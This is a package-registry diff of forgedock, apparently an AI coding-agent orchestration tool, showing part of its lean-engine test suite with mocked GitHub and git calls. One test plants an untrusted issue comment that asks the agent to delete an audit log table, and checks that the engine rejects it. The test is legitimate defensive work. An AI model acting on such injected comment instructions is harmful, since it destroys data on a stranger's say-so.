forgedock 1.27.0 → 1.29.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +4 -1
- package/bin/bootstrap.mjs +55 -0
- package/bin/engine/outcome-codes.mjs +39 -0
- package/bin/engine/telemetry-seam.mjs +37 -8
- package/bin/engine/telemetry-seam.test.mjs +31 -0
- package/bin/engine-cli.mjs +601 -42
- package/bin/engine.mjs +8 -4
- package/bin/forgedock.mjs +75 -9
- package/bin/gc.mjs +580 -0
- package/bin/lean/admission.mjs +33 -3
- package/bin/lean/batch.mjs +22 -4
- package/bin/lean/batch.test.mjs +5 -3
- package/bin/lean/checks.mjs +199 -0
- package/bin/lean/checks.test.mjs +183 -0
- package/bin/lean/conformance.mjs +234 -57
- package/bin/lean/conformance.test.mjs +168 -7
- package/bin/lean/context.mjs +333 -0
- package/bin/lean/context.test.mjs +279 -0
- package/bin/lean/credentials.mjs +29 -0
- package/bin/lean/depcache.mjs +312 -0
- package/bin/lean/depcache.test.mjs +298 -0
- package/bin/lean/drift.mjs +198 -0
- package/bin/lean/drift.test.mjs +223 -0
- package/bin/lean/effects.mjs +104 -9
- package/bin/lean/execution.e2e.test.mjs +81 -0
- package/bin/lean/execution.mjs +431 -0
- package/bin/lean/execution.test.mjs +583 -0
- package/bin/lean/heavy.mjs +289 -0
- package/bin/lean/heavy.test.mjs +207 -0
- package/bin/lean/lean.mjs +723 -154
- package/bin/lean/lean.test.mjs +1603 -35
- package/bin/lean/ledger.mjs +27 -2
- package/bin/lean/ledger.test.mjs +36 -1
- package/bin/lean/limits.mjs +58 -0
- package/bin/lean/limits.test.mjs +150 -0
- package/bin/lean/orchestrate.mjs +389 -19
- package/bin/lean/prefilter.mjs +2 -2
- package/bin/lean/prefilter.test.mjs +3 -0
- package/bin/lean/prompts.mjs +106 -17
- package/bin/lean/recovery.test.mjs +230 -0
- package/bin/lean/refactor.mjs +276 -0
- package/bin/lean/refactor.test.mjs +359 -0
- package/bin/lean/render.mjs +49 -10
- package/bin/lean/review-trigger.mjs +134 -0
- package/bin/lean/review-trigger.test.mjs +104 -0
- package/bin/lean/sandbox-provider.contract.test.mjs +257 -0
- package/bin/lean/sandbox-remote.mjs +142 -0
- package/bin/lean/sched.mjs +221 -0
- package/bin/lean/sched.test.mjs +310 -0
- package/bin/lean/schedd.mjs +247 -0
- package/bin/lean/schedd.test.mjs +180 -0
- package/bin/lean/testmap.mjs +84 -0
- package/bin/lean/testmap.test.mjs +58 -0
- package/bin/lean/toolchain.mjs +228 -0
- package/bin/lean/toolchain.test.mjs +154 -0
- package/bin/lean/verify.mjs +66 -10
- package/bin/lean/verify.test.mjs +104 -3
- package/bin/lean/worktree.mjs +69 -0
- package/bin/lean/worktree.test.mjs +141 -0
- package/bin/runner.mjs +53 -10
- package/bin/stats/github-source.mjs +1 -1
- package/bin/stats/index.mjs +24 -2
- package/bin/stats/local-source.mjs +13 -0
- package/bin/stats/query.mjs +99 -0
- package/bin/stats/stats.test.mjs +94 -1
- package/commands/audit.md +2 -0
- package/commands/autopilot.md +2 -0
- package/commands/bootstrap.md +35 -0
- package/commands/cleanup.md +7 -22
- package/commands/forge-stats.md +2 -1
- package/commands/forgedock-init.md +7 -0
- package/commands/issue.md +89 -830
- package/commands/milestone.md +55 -6
- package/commands/orchestrate.md +62 -8
- package/commands/upgrade-deps.md +3 -3
- package/commands/work-on/build/validate.md +4 -0
- package/commands/work-on/close.md +2 -0
- package/commands/work-on/decompose.md +24 -6
- package/docs/CI.md +3 -3
- package/docs/CONFIG.md +192 -2
- package/docs/OUTCOME-CODES.md +22 -0
- package/docs/RELEASE-NOTES.md +9 -0
- package/docs/TELEMETRY.md +1 -1
- package/docs/site/command-reference.md +22 -0
- package/docs/site/getting-started.md +2 -0
- package/docs/site/start-a-new-project.md +327 -0
- package/package.json +1 -1
- package/scripts/affected-files-check.sh +91 -0
- package/scripts/affected-files-check.test.sh +80 -0
- package/scripts/bootstrap-create.mjs +393 -0
- package/scripts/bootstrap-validate.mjs +36 -2
- package/scripts/calibration.mjs +116 -0
- package/scripts/check-devdocs-freshness.sh +9 -4
- package/scripts/check-devdocs-freshness.test.sh +11 -1
- package/scripts/check-spec-markers.sh +4 -0
- package/scripts/check-spec-size.sh +29 -11
- package/scripts/check-spec-size.test.sh +27 -4
- package/scripts/ci-local/lib.mjs +8 -1
- package/scripts/ci-local/parallelism.test.mjs +27 -0
- package/scripts/ci-local/run.mjs +3 -3
- package/scripts/ci-local/scoping.mjs +82 -0
- package/scripts/ci-local.test.sh +1 -1
- package/scripts/fixtures/symbol-index/other/sample.rb +3 -0
- package/scripts/fixtures/symbol-index/py/pkg/__init__.py +1 -0
- package/scripts/fixtures/symbol-index/py/pkg/a.py +5 -0
- package/scripts/fixtures/symbol-index/py/pkg/b.py +14 -0
- package/scripts/fixtures/symbol-index/py/pkg/c.py +1 -0
- package/scripts/fixtures/symbol-index/py/sample.py +41 -0
- package/scripts/fixtures/symbol-index/ts/sample.ts +13 -0
- package/scripts/fixtures/symbol-move/gen_big.py +201 -0
- package/scripts/fixtures/symbol-move-ts/gen_big.mjs +56 -0
- package/scripts/fixtures/test-map/go/.github/workflows/ci.yml +23 -0
- package/scripts/fixtures/test-map/go/Makefile +5 -0
- package/scripts/fixtures/test-map/go/README.md +1 -0
- package/scripts/fixtures/test-map/go/go.mod +3 -0
- package/scripts/fixtures/test-map/go/internal/util/util.go +3 -0
- package/scripts/fixtures/test-map/go/main.go +3 -0
- package/scripts/fixtures/test-map/node/package.json +10 -0
- package/scripts/fixtures/test-map/node/packages/ui/package.json +4 -0
- package/scripts/fixtures/test-map/node/packages/ui/src/button.tsx +1 -0
- package/scripts/fixtures/test-map/node/pnpm-lock.yaml +1 -0
- package/scripts/fixtures/test-map/node/src/a.ts +1 -0
- package/scripts/fixtures/test-map/node/vitest.config.ts +1 -0
- package/scripts/fixtures/test-map/python/pkg/__init__.py +0 -0
- package/scripts/fixtures/test-map/python/pkg/mod.py +2 -0
- package/scripts/fixtures/test-map/python/pyproject.toml +9 -0
- package/scripts/fixtures/test-map/python/tests/test_mod.py +5 -0
- package/scripts/fixtures/test-map/python/uv.lock +1 -0
- package/scripts/forge-root.test.sh +1 -1
- package/scripts/hotspots.sh +100 -0
- package/scripts/hotspots.test.sh +101 -0
- package/scripts/issue-create.sh +197 -0
- package/scripts/issue-create.test.sh +166 -0
- package/scripts/maintenance-scan.sh +185 -0
- package/scripts/maintenance-scan.test.sh +89 -0
- package/scripts/milestone-drift.sh +206 -0
- package/scripts/milestone-drift.test.sh +120 -0
- package/scripts/refactor-verify.sh +368 -0
- package/scripts/refactor-verify.test.sh +202 -0
- package/scripts/repo-facts.sh +146 -0
- package/scripts/repo-facts.test.sh +106 -0
- package/scripts/structure-delta.sh +10 -5
- package/scripts/structure-delta.test.sh +3 -2
- package/scripts/symbol-index.mjs +253 -0
- package/scripts/symbol-index.py +354 -0
- package/scripts/symbol-index.test.sh +119 -0
- package/scripts/symbol-move-ts.test.sh +161 -0
- package/scripts/symbol-move.mjs +379 -0
- package/scripts/symbol-move.py +383 -0
- package/scripts/symbol-move.test.sh +168 -0
- package/scripts/test-map.sh +211 -0
- package/scripts/test-map.test.sh +165 -0
- package/scripts/wait-ci-green.sh +10 -4
- package/scripts/wait-ci-green.test.sh +9 -0
- package/templates/bootstrap/interview.md +34 -0
- package/templates/bootstrap/issue-body.md +42 -0
- package/templates/bootstrap/needs-human-issue.md +45 -0
- package/templates/bootstrap/stack-profiles.md +34 -0
- package/templates/bootstrap/technical-spike.md +75 -0
package/bin/lean/lean.test.mjs
CHANGED
|
@@ -1,24 +1,29 @@
|
|
|
1
1
|
// SPDX-FileCopyrightText: Copyright (c) RapierCraft Studios
|
|
2
2
|
// SPDX-License-Identifier: AGPL-3.0-or-later
|
|
3
3
|
import { describe, it } from "node:test";
|
|
4
|
+
import { laneBackendId } from "./limits.mjs";
|
|
4
5
|
import assert from "node:assert/strict";
|
|
5
6
|
import { tmpDir } from "../tests/_tmp.mjs";
|
|
6
7
|
import { writeFileSync, existsSync, readFileSync, mkdirSync, symlinkSync } from "node:fs";
|
|
7
8
|
import { join } from "node:path";
|
|
8
9
|
import { runCore, contractHash, isProtectedLaneBranch } from "./lean.mjs";
|
|
9
10
|
import { makeLedger } from "./ledger.mjs";
|
|
10
|
-
import { renderInvestigation, renderPlan, renderImplementation, renderReview, renderPrBody, renderTrajectory, renderContract, contractJson, parseContractComment, sanitizeMd, capComment, section, cell, NR, MAX_COMMENT_CHARS } from "./render.mjs";
|
|
11
|
-
import { orchestrate, parseDeps, formatTable } from "./orchestrate.mjs";
|
|
12
|
-
import { REVIEWER_SYSTEM, approxTokens, builderPlanPrompt, builderImplementPrompt, reviewerPrompt } from "./prompts.mjs";
|
|
13
|
-
import { parseReview, unnamedEdges, structureNote, applyAmendments } from "./conformance.mjs";
|
|
11
|
+
import { renderInvestigation, renderPlan, renderImplementation, renderReview, renderPrBody, renderTrajectory, renderStructure, renderContract, contractJson, parseContractComment, sanitizeMd, capComment, section, cell, NR, MAX_COMMENT_CHARS } from "./render.mjs";
|
|
12
|
+
import { orchestrate, parseDeps, formatTable, pickNext } from "./orchestrate.mjs";
|
|
13
|
+
import { REVIEWER_SYSTEM, approxTokens, builderPlanPrompt, builderImplementPrompt, reviewerPrompt, hotspotPlanNote, hotspotBuildRule } from "./prompts.mjs";
|
|
14
|
+
import { parseReview, unnamedEdges, structureNote, applyAmendments, validateContract, scopeText, DECISION_SOURCES } from "./conformance.mjs";
|
|
14
15
|
import { mapRecord } from "../engine/telemetry-seam.mjs";
|
|
15
16
|
import { readLog } from "../engine/runlog.mjs";
|
|
16
|
-
import { makeRunTmp, wrapLaneLimits, systemdRunAvailable, makeLeanRunner, requiredChecksFor, procsInDir } from "./effects.mjs";
|
|
17
|
+
import { makeRunTmp, wrapLaneLimits, systemdRunAvailable, makeLeanRunner, requiredChecksFor, procsInDir, makeLeanIo } from "./effects.mjs";
|
|
17
18
|
import { retrying, PUSH_TRANSIENT_RE } from "./retry.mjs";
|
|
18
|
-
import { checkAdmission } from "./admission.mjs";
|
|
19
|
+
import { checkAdmission, hostParallelism } from "./admission.mjs";
|
|
19
20
|
import { OUTCOME_CODES } from "../engine/outcome-codes.mjs";
|
|
20
|
-
import
|
|
21
|
-
import {
|
|
21
|
+
import * as refactorMod from "./refactor.mjs";
|
|
22
|
+
import { readAdmission, readConformanceMode, readReviewIncomplete, readEnvConfig, readContextPack } from "../engine-cli.mjs";
|
|
23
|
+
import { prepareToolchain } from "./toolchain.mjs";
|
|
24
|
+
import { runFromCli, orchestrateFromCli, ENGINE_PATHS, readMaintenance } from "../engine-cli.mjs";
|
|
25
|
+
// orchestrateFromCli opens the host lane registry (#4191): keep it in a temp dir.
|
|
26
|
+
process.env.FORGEDOCK_SCHED_DIR = tmpDir("lean-sched-");
|
|
22
27
|
|
|
23
28
|
const WT = "/wt/lean-7";
|
|
24
29
|
const STAGE_MD = {
|
|
@@ -70,9 +75,10 @@ function world(o = {}) {
|
|
|
70
75
|
if (k === "pr list") return JSON.stringify(w.prList);
|
|
71
76
|
if (k === "repo view") return `${o.defaultBranch ?? "main"}\n`;
|
|
72
77
|
if (k === "issue view" && a.includes("milestone")) { w.seq.push("lane"); return JSON.stringify({ milestone: o.milestone ? { title: o.milestone } : null }); }
|
|
73
|
-
if (k === "issue view" && o.issueBodies && a[2] === "7" && a.
|
|
74
|
-
if (k === "issue view") return JSON.stringify({ number: Number(a[2]), title: "foo breaks", body: ISSUE_BODY, state: w.issueStates?.[a[2]] ?? "OPEN", comments: [] });
|
|
78
|
+
if (k === "issue view" && o.issueBodies && a[2] === "7" && a.some((x) => String(x).startsWith("number,title,body,state,comments"))) { const b = o.issueBodies.length > 1 ? o.issueBodies.shift() : o.issueBodies[0]; return JSON.stringify({ number: 7, title: "foo breaks", body: b, state: "OPEN", comments: [] }); }
|
|
79
|
+
if (k === "issue view") return JSON.stringify({ number: Number(a[2]), title: "foo breaks", body: ISSUE_BODY, state: w.issueStates?.[a[2]] ?? "OPEN", comments: [], ...(o.labels && a[2] === "7" ? { labels: o.labels } : {}) });
|
|
75
80
|
if (k === "pr edit") { w.prEdits.push(a); return ""; }
|
|
81
|
+
if (k === "label create") { w.labelCreates = [...(w.labelCreates ?? []), a]; return ""; }
|
|
76
82
|
if (k === "issue comment" && w.commentErrors.length) throw new Error(w.commentErrors.shift());
|
|
77
83
|
if (k === "issue comment") { w.comments.push(a[a.indexOf("--body") + 1]); w.seq.push("comment"); return `https://github.com/o/r/issues/7#issuecomment-${w.comments.length}\n`; }
|
|
78
84
|
if (k === "issue close") { w.closed.push(a); w.seq.push("close"); return ""; }
|
|
@@ -110,11 +116,14 @@ function world(o = {}) {
|
|
|
110
116
|
if (a[0] === "grep") return w.markers ? "src/foo.js:3:<<<<<<< HEAD" : "";
|
|
111
117
|
if (a[0] === "merge" && a[1] === "--abort") { w.mergeInProgress = false; return ""; }
|
|
112
118
|
if (a[0] === "rev-parse") return w.head;
|
|
119
|
+
if (a[0] === "diff" && a[1] === "--name-only" && !a.some((x) => String(x).includes("..."))) return w.changed.filter((f) => !(o.equalToBase ?? []).includes(f)).join("\n");
|
|
113
120
|
if (a[0] === "diff" && a[1] === "--name-only") return w.changed.join("\n");
|
|
121
|
+
if (a[0] === "diff" && a[1] === "--numstat") return w.numstat ?? "";
|
|
114
122
|
if (a[0] === "ls-files") return [...new Set(["src/foo.js", "src/bar.js", "test/foo.test.js", ...w.changed])].join("\n");
|
|
115
123
|
if (a[0] === "diff") return "diff --git a/src/foo.js b/src/foo.js\n+fix";
|
|
116
124
|
if (a[0] === "ls-remote" && String(a.at(-1)).startsWith("refs/heads/")) { const b = a.at(-1).slice("refs/heads/".length); return (o.branchesOnOrigin ?? ["staging", "main"]).includes(b) ? `abc\trefs/heads/${b}\n` : ""; }
|
|
117
125
|
if (a[0] === "ls-remote") return w.remote;
|
|
126
|
+
if (a[0] === "show" && w.baseFiles) { if (!(a[1] in w.baseFiles)) throw new Error(`fatal: path not in ${a[1]}`); return w.baseFiles[a[1]]; }
|
|
118
127
|
if (a[0] === "push") w.seq.push("push");
|
|
119
128
|
return "";
|
|
120
129
|
},
|
|
@@ -175,7 +184,7 @@ describe("core work-on", () => {
|
|
|
175
184
|
assert.match(w.comments[1], /^<!-- FORGE:INVESTIGATION -->\n<!-- FORGE:VALIDATE -->\n## Investigation Report\n\*\*Verdict\*\*: CONFIRMED/);
|
|
176
185
|
assert.match(w.comments[2], /^<!-- FORGE:CONTRACT -->\n<!-- FORGE:PLAN -->\n## Builder Contract \(frozen `[0-9a-f]{12}`\)/, "PLAN stays as an alias marker");
|
|
177
186
|
assert.match(w.comments[2], /\| R1 \| foo must handle a null argument without throwing\. \| deliver \|/);
|
|
178
|
-
assert.match(w.comments[2], /<summary>contract\.json \(sha256 [0-9a-f]{12}\)<\/summary>/);
|
|
187
|
+
assert.match(w.comments[2], /<summary>contract\.json \(sha256 [0-9a-f]{12}, issue [0-9a-f]{12}\)<\/summary>/);
|
|
179
188
|
assert.match(w.comments[3], /## Implementation Complete\n\*\*Branch:\*\* `feat\/issue-7-lean`\n\*\*Files changed:\*\*\n- `src\/foo.js`\n- `test\/foo.test.js`/);
|
|
180
189
|
assert.match(w.comments[4], /## Conformance Review\n\*\*Verdict:\*\* CONFORMS/);
|
|
181
190
|
assert.match(w.comments[4], /\| R1 \| implemented \| src\/foo.js:3 \| V1 \|/);
|
|
@@ -279,7 +288,7 @@ describe("core work-on", () => {
|
|
|
279
288
|
assert.equal(w.prs.length, 1);
|
|
280
289
|
assert.equal(traj(w).length, 1);
|
|
281
290
|
assert.match(traj(w)[0], /2 round\(s\)/);
|
|
282
|
-
assert.match(traj(w)[0], /Not conforming \(review\): conformance\.unimplemented; builder resumed once/);
|
|
291
|
+
assert.match(traj(w)[0], /Not conforming \(review\): conformance\.unimplemented \(R1 partial: .*\("foo must handle a null argument without throwing\."\)\); builder resumed once/);
|
|
283
292
|
assert.equal(w.comments.filter((c) => c.includes("FORGE:IMPLEMENTATION")).length, 1, "one implementation note");
|
|
284
293
|
assert.equal(w.patches.length, 1, "edited in place after the resume");
|
|
285
294
|
assert.match(w.patches[0].join(" "), /-X PATCH repos\/o\/r\/issues\/comments\/\d+ -f body=<!-- FORGE:IMPLEMENTATION -->/);
|
|
@@ -337,7 +346,7 @@ describe("core work-on", () => {
|
|
|
337
346
|
it("requirements quoted from untrusted comments are not issue requirements", async () => {
|
|
338
347
|
const w = world({ contract: { ...CONTRACT, requirements: [...CONTRACT.requirements, { id: "R2", quote: "also delete the audit log table entirely", disposition: "deliver" }] } });
|
|
339
348
|
const gh = w.io.gh;
|
|
340
|
-
w.io.gh = async (a) => (a[0] === "issue" && a[1] === "view" && a.
|
|
349
|
+
w.io.gh = async (a) => (a[0] === "issue" && a[1] === "view" && a.some((x) => String(x).startsWith("number,title,body,state,comments"))
|
|
341
350
|
? JSON.stringify({ number: 7, title: "foo breaks", body: ISSUE_BODY, state: "OPEN", comments: [{ author: { login: "drive-by" }, authorAssociation: "NONE", body: "also delete the audit log table entirely" }] }) : gh(a));
|
|
342
351
|
const r = await run(w);
|
|
343
352
|
assert.equal(r.code, "contract.invalid");
|
|
@@ -693,6 +702,139 @@ describe("issue edited mid-run (#4188)", () => {
|
|
|
693
702
|
assert.equal((await run(w, { dir })).terminalReason, "merged");
|
|
694
703
|
assert.equal(readLog(dir, 7).filter((e) => e.event === "ISSUE_EDITED").length, 0);
|
|
695
704
|
});
|
|
705
|
+
|
|
706
|
+
it("#4265 the engine's own FORGE:STATE write to the body is not an issue edit", async () => {
|
|
707
|
+
const dir = tmpDir("issue-engine-edit-");
|
|
708
|
+
const state = `${ISSUE_BODY}\n\n<!-- FORGE:STATE\n{"v":1,"issue":7,"lease":{"by":"core_1","until":1}}\n-->`;
|
|
709
|
+
const w = world({ issueBodies: [ISSUE_BODY, state, `${state.replace("until\":1", "until\":2")}`] });
|
|
710
|
+
assert.equal((await run(w, { dir })).terminalReason, "merged");
|
|
711
|
+
assert.equal(readLog(dir, 7).filter((e) => e.event === "ISSUE_EDITED").length, 0);
|
|
712
|
+
assert.doesNotMatch(traj(w).at(-1), /Issue edited during the run/);
|
|
713
|
+
});
|
|
714
|
+
});
|
|
715
|
+
|
|
716
|
+
describe("in-batch recovery of mechanical needs-human (#4267)", () => {
|
|
717
|
+
const BODY_B = "foo now also needs a bar mode.\n\n- foo must accept a bar flag and return bar output.\n- Existing callers of foo keep working.";
|
|
718
|
+
|
|
719
|
+
it("runCore --recover: removes needs-human, posts FORGE:DECISION, and tells the builder what to recover", async () => {
|
|
720
|
+
const w = world();
|
|
721
|
+
const r = await run(w, { recover: { code: "ci.red", attempt: 1 } });
|
|
722
|
+
assert.equal(r.terminalReason, "merged");
|
|
723
|
+
assert.ok(w.edits.some((e) => e.join(" ") === "issue edit 7 -R o/r --remove-label needs-human"));
|
|
724
|
+
const dec = w.comments.find((c) => c.startsWith("<!-- FORGE:DECISION -->"));
|
|
725
|
+
assert.match(dec, /recovery pass for `ci\.red`/); assert.match(dec, /\*\*Why\*\*/); assert.match(dec, /\*\*Alternative\*\*/);
|
|
726
|
+
assert.ok(builders(w).some((b) => /Recovery pass \(ci\.red\): .*--log-failed/.test(b[4])));
|
|
727
|
+
const w2 = world();
|
|
728
|
+
await run(w2, { recover: { code: "builder.block_untyped", attempt: 1 } });
|
|
729
|
+
assert.ok(builders(w2).some((b) => /pick the option most consistent with the issue, the repo's conventions and prior merged decisions/.test(b[4])));
|
|
730
|
+
const w3 = world();
|
|
731
|
+
await run(w3);
|
|
732
|
+
assert.ok(!w3.comments.some((c) => c.includes("FORGE:DECISION")), "no recovery: nothing changes");
|
|
733
|
+
assert.ok(!builders(w3).some((b) => /Recovery pass/.test(b[4])));
|
|
734
|
+
});
|
|
735
|
+
|
|
736
|
+
it("runCore marks a contract.invalid after a mid-run issue edit (issueEdited) and a failed recovery pass (recovery)", async () => {
|
|
737
|
+
const bad1 = { ...CONTRACT, requirements: [{ id: "R1", quote: "make foo nicer", disposition: "deliver" }] };
|
|
738
|
+
const r = await run(world({ contract: bad1, fixedContract: bad1, issueBodies: [ISSUE_BODY, BODY_B] }), { recover: { code: "contract.invalid", attempt: 1 } });
|
|
739
|
+
assert.equal(r.code, "contract.invalid"); assert.equal(r.issueEdited, true); assert.equal(r.recovery, true);
|
|
740
|
+
const r2 = await run(world({ contract: bad1, fixedContract: bad1 }));
|
|
741
|
+
assert.equal(r2.code, "contract.invalid"); assert.equal(r2.issueEdited, undefined); assert.equal(r2.recovery, undefined);
|
|
742
|
+
});
|
|
743
|
+
|
|
744
|
+
it("a recovery lane puts needs-human back once, with evidence, only on a final failure (ci-pending / needs-human); never on invalid, decomposed, merged, deferred, engine-error (#4297, SPEC-7/8)", async () => {
|
|
745
|
+
const add = (w) => w.edits.filter((e) => e.join(" ") === "issue edit 7 -R o/r --add-label needs-human").length;
|
|
746
|
+
const nh = (w) => w.comments.filter((c) => c.startsWith("<!-- FORGE:NEEDS_HUMAN -->"));
|
|
747
|
+
const ends = {
|
|
748
|
+
"ci-pending": [{ waits: Array(500).fill({ rc: 2, text: "" }) }, { ciMaxMinutes: 10, mergeWait: "all" }],
|
|
749
|
+
"needs-human": [{ waits: [{ rc: 1, text: "lint failed" }] }, { mergeWait: "all" }],
|
|
750
|
+
};
|
|
751
|
+
for (const [reason, [wo, ro]] of Object.entries(ends)) {
|
|
752
|
+
const w = world(wo);
|
|
753
|
+
assert.equal((await run(w, { recover: { code: "ci.red", attempt: 1 }, ...ro })).terminalReason, reason);
|
|
754
|
+
assert.equal(add(w), 1, `${reason}: needs-human re-applied once`);
|
|
755
|
+
assert.equal(nh(w).length, 1, reason);
|
|
756
|
+
assert.match(nh(w)[0], new RegExp(`Recovery pass for \`ci\\.red\` \\(attempt 1\\) did not merge: it ended \`${reason}\``), reason);
|
|
757
|
+
}
|
|
758
|
+
// SPEC-7/8: invalid and decomposed are legitimate endings; deferred/engine-error/dependency-open may be requeued by the runner.
|
|
759
|
+
// The lane itself never relabels them.
|
|
760
|
+
const limitErr = Object.assign(new Error("claude CLI exited with status 1. You've hit your session limit"), { code: "CLI_BACKEND_FAILED", usageLimit: true, resetAtEpochMs: 3 * 3600 * 1000 });
|
|
761
|
+
const failBuilder = (w, err) => { const orig = w.io.runner; let n = 0; w.io.runner = async (c) => { if (c.role === "builder" && n++ < 1) throw err; return orig(c); }; return w; };
|
|
762
|
+
const withDeps = (w, deps) => {
|
|
763
|
+
const gh = w.io.gh;
|
|
764
|
+
w.io.gh = async (x) => {
|
|
765
|
+
if (x[0] === "issue" && x[1] === "view" && deps[x[2]]) return JSON.stringify(deps[x[2]]);
|
|
766
|
+
if (x[0] === "issue" && x[1] === "create") return "https://github.com/o/r/issues/201\n";
|
|
767
|
+
return gh(x);
|
|
768
|
+
};
|
|
769
|
+
return w;
|
|
770
|
+
};
|
|
771
|
+
const quiet = {
|
|
772
|
+
invalid: () => world({ changed: [], result: { status: "invalid", summary: "not a bug", evidence: ["src/foo.js:3 already guards null"], tests: [] } }),
|
|
773
|
+
decomposed: () => withDeps(world({ changed: [], result: { status: "blocked", summary: "epic", block: { kind: "split-required", subissues: [{ title: "part A", body: "do A" }] } } }), {}),
|
|
774
|
+
"dependency-open": () => withDeps(world({ changed: [], result: { status: "blocked", summary: "needs #3", block: { kind: "dependency", issues: ["#3"] } } }), { 3: { state: "OPEN", labels: [] } }),
|
|
775
|
+
"engine-error": () => failBuilder(world(), new Error("boom")),
|
|
776
|
+
deferred: () => failBuilder(world(), limitErr),
|
|
777
|
+
};
|
|
778
|
+
for (const [reason, mk] of Object.entries(quiet)) {
|
|
779
|
+
const w = mk();
|
|
780
|
+
assert.equal((await run(w, { recover: { code: "ci.red", attempt: 1 } })).terminalReason, reason);
|
|
781
|
+
assert.equal(add(w), 0, `${reason}: no needs-human relabel`); assert.equal(nh(w).length, 0, `${reason}: no FORGE:NEEDS_HUMAN`);
|
|
782
|
+
}
|
|
783
|
+
const m = world();
|
|
784
|
+
assert.equal((await run(m, { recover: { code: "ci.red", attempt: 1 } })).terminalReason, "merged");
|
|
785
|
+
assert.equal(add(m), 0); assert.equal(nh(m).length, 0);
|
|
786
|
+
const plain = world(ends["ci-pending"][0]);
|
|
787
|
+
assert.equal((await run(plain, ends["ci-pending"][1])).terminalReason, "ci-pending");
|
|
788
|
+
assert.equal(add(plain), 0, "no recovery: a ci-pending run is not labelled");
|
|
789
|
+
});
|
|
790
|
+
});
|
|
791
|
+
|
|
792
|
+
describe("devdocs freshness gate (the repo's own scripts/check-devdocs-freshness.sh)", () => {
|
|
793
|
+
const dworld = (results, o = {}) => {
|
|
794
|
+
const w = world(o); const q = [...results]; w.docsCalls = [];
|
|
795
|
+
w.io.docsFreshness = async (x) => { w.docsCalls.push(x); return q.length > 1 ? q.shift() : q[0]; };
|
|
796
|
+
return w;
|
|
797
|
+
};
|
|
798
|
+
const STALE = { ok: false, output: "STALE: bin/lean/lean.mjs changed but no dossier matching it was touched (devdocs/modules/lean.md)" };
|
|
799
|
+
|
|
800
|
+
it("a stale dossier gets one builder resume with the script's output, then merges once it passes", async () => {
|
|
801
|
+
const w = dworld([STALE, { ok: true, output: "OK" }]);
|
|
802
|
+
assert.equal((await run(w)).terminalReason, "merged");
|
|
803
|
+
assert.equal(builders(w).length, 3, "plan + implement + one docs resume");
|
|
804
|
+
assert.match(builders(w)[2][4], /docs freshness check[\s\S]*devdocs\/modules\/lean\.md/);
|
|
805
|
+
assert.equal(w.docsCalls[0].base, "origin/staging");
|
|
806
|
+
assert.match(traj(w).at(-1), /Docs freshness check failed; builder resumed once/);
|
|
807
|
+
});
|
|
808
|
+
|
|
809
|
+
it("still stale after the resume: needs-human docs.stale, before any PR or reviewer run", async () => {
|
|
810
|
+
const w = dworld([STALE]);
|
|
811
|
+
const r = await run(w);
|
|
812
|
+
assert.equal(r.code, "docs.stale"); assert.equal(w.prs.length, 0); assert.equal(reviewers(w).length, 0);
|
|
813
|
+
assert.equal(builders(w).length, 3);
|
|
814
|
+
});
|
|
815
|
+
|
|
816
|
+
it("no script in the repo, or it cannot run (null): no resume, the run is unchanged", async () => {
|
|
817
|
+
const w = dworld([null]);
|
|
818
|
+
assert.equal((await run(w)).terminalReason, "merged");
|
|
819
|
+
assert.equal(builders(w).length, 2);
|
|
820
|
+
});
|
|
821
|
+
|
|
822
|
+
it("the effect: absent script -> null; exit 0 -> ok; exit 1 -> stale with output; exit 2 -> null", async () => {
|
|
823
|
+
const io = makeLeanIo({ repo: "o/r" });
|
|
824
|
+
const dir = tmpDir("docs-fresh-");
|
|
825
|
+
assert.equal(await io.docsFreshness({ cwd: dir, base: "origin/x" }), null);
|
|
826
|
+
mkdirSync(join(dir, "scripts"), { recursive: true });
|
|
827
|
+
const put = (body) => writeFileSync(join(dir, "scripts", "check-devdocs-freshness.sh"), `#!/usr/bin/env bash\n${body}\n`);
|
|
828
|
+
put('echo "OK: $1"; exit 0');
|
|
829
|
+
assert.deepEqual(await io.docsFreshness({ cwd: dir, base: "origin/x" }), { ok: true, output: "OK: origin/x\n" });
|
|
830
|
+
put('echo "STALE: lean.md"; exit 1');
|
|
831
|
+
const st = await io.docsFreshness({ cwd: dir, base: "origin/x" });
|
|
832
|
+
assert.equal(st.ok, false); assert.match(st.output, /STALE: lean\.md/);
|
|
833
|
+
put("echo usage >&2; exit 2");
|
|
834
|
+
assert.equal(await io.docsFreshness({ cwd: dir, base: "origin/x" }), null);
|
|
835
|
+
put('[ -z "$PR_BODY" ] && exit 0 || exit 1');
|
|
836
|
+
assert.equal((await io.docsFreshness({ cwd: dir, base: "origin/x" })).ok, true, "PR_BODY is empty: no exemption is read from the environment");
|
|
837
|
+
});
|
|
696
838
|
});
|
|
697
839
|
|
|
698
840
|
describe("review row skeleton and targeted retry (#4160)", () => {
|
|
@@ -809,13 +951,43 @@ describe("conformance shadow mode (the default)", () => {
|
|
|
809
951
|
assert.match(traj(w)[0], /\| Review \| shadow: would block \(nonconforming\) \|/);
|
|
810
952
|
});
|
|
811
953
|
|
|
812
|
-
it("scope creep
|
|
954
|
+
it("scope creep does not block in shadow (as today) but is recorded", async () => {
|
|
813
955
|
const w = world({ changed: ["src/foo.js", "src/billing.js", "test/foo.test.js"], reviews: [conf({}, CONTRACT, ["src/foo.js", "src/billing.js", "test/foo.test.js"])] });
|
|
814
956
|
assert.equal((await runShadow(w)).terminalReason, "merged");
|
|
815
957
|
assert.match(shadowNote(w), /would BLOCK[\s\S]*conformance\.scope_creep[\s\S]*src\/billing\.js/);
|
|
816
|
-
|
|
817
|
-
|
|
818
|
-
|
|
958
|
+
});
|
|
959
|
+
|
|
960
|
+
it("#4160 an incomplete review gets one targeted re-ask with only the missing ids, then needs-human; never merges in shadow", async () => {
|
|
961
|
+
const w = world({ reviews: [genericPass(), genericPass()] });
|
|
962
|
+
const r = await runShadow(w);
|
|
963
|
+
assert.equal(r.code, "review.incomplete"); assert.equal(w.merges.length, 0); assert.equal(w.prs.length, 0);
|
|
964
|
+
const rv = reviewers(w);
|
|
965
|
+
assert.equal(rv.length, 2); assert.equal(builders(w).length, 2);
|
|
966
|
+
assert.match(rv[0][4], /<row_skeleton>/); assert.match(rv[0][4], /<diff>/);
|
|
967
|
+
assert.match(rv[1][4], /answer ONLY for these ids or sections: verdict, issue_coverage, R1/);
|
|
968
|
+
assert.doesNotMatch(rv[1][4], /<diff>/, "the re-ask is not a full re-review");
|
|
969
|
+
